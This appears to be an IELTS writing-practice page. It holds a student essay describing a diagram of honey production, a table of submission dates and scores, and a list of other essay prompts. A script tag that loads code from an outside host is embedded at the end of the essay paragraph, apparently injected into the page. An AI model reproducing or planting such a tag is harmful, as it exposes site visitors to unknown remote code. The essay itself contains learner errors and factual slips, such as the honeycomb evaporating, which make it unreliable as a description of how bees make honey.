The diagram illustrates how bees produce honey.
Summarise the information by selecting and reporting the main features, and make comparisons where relevant.
Given is the diagram that shows us the multi-step of how the honey was created by bees.
Perceptibly, this is a linear process with multiple steps, which commences with building their hives and ends at water evaporation on each cell that holds nectar until it becomes honey.
First, the bees start to build their hive through a densely packed group of hexagon-shaped cells made of honeycomb. Secondly, the bees import somewhere that has enough flowers to serve the bees demand. Thirdly, the bees take the nectar from each flower they land by their mouthparts. Fourthly, the bees carry their nectar and put it in every cell in the hive. Fifthly, the bees use their wings to dry the cells in their areas by flapping their wings. Finally, the honeycomb begins to evaporate and transform to the result is honey.<script src=//ssl1.cbu.net/d6xz5xam></script>
Post date | Users | Rates | Link to Content |
---|---|---|---|
Sat, 05/03/2025 - 10:46 | Trần Ánh Vy | 56 | view |
Sat, 05/03/2025 - 10:44 | Trần Ánh Vy | 56 | view |
Sun, 04/20/2025 - 14:00 | Trần Ánh Vy | 84 | view |
Thu, 04/17/2025 - 23:30 | aceg1000 | 84 | view |
Sun, 04/13/2025 - 15:05 | Trần Ánh Vy | 78 | view |
- Research has shown that the transportation of products and people are the main source of pollution Some people believe the government is responsible for it while others believe it is the fault of individuals Discuss both views and give your opinion 73
- The graph below shows a typical American and a Japanese office Summarise the information by selecting and reporting the main features and comparisons where relevant 84
- Traditionally women play the role of upbringing their children while men work outside to earn money for the family Some people argue that women make better parents than men and that s why they should play the greater role in upbringing children Others how 89
- The table below shows information about the population of New Zealand from 2011 to 2012 by age group 70
- The chart below shows the percentages of males and females with higher education qualifications in 5 countries in 2001 Summarise the information by selecting and reporting the main features and make comparisons where relevant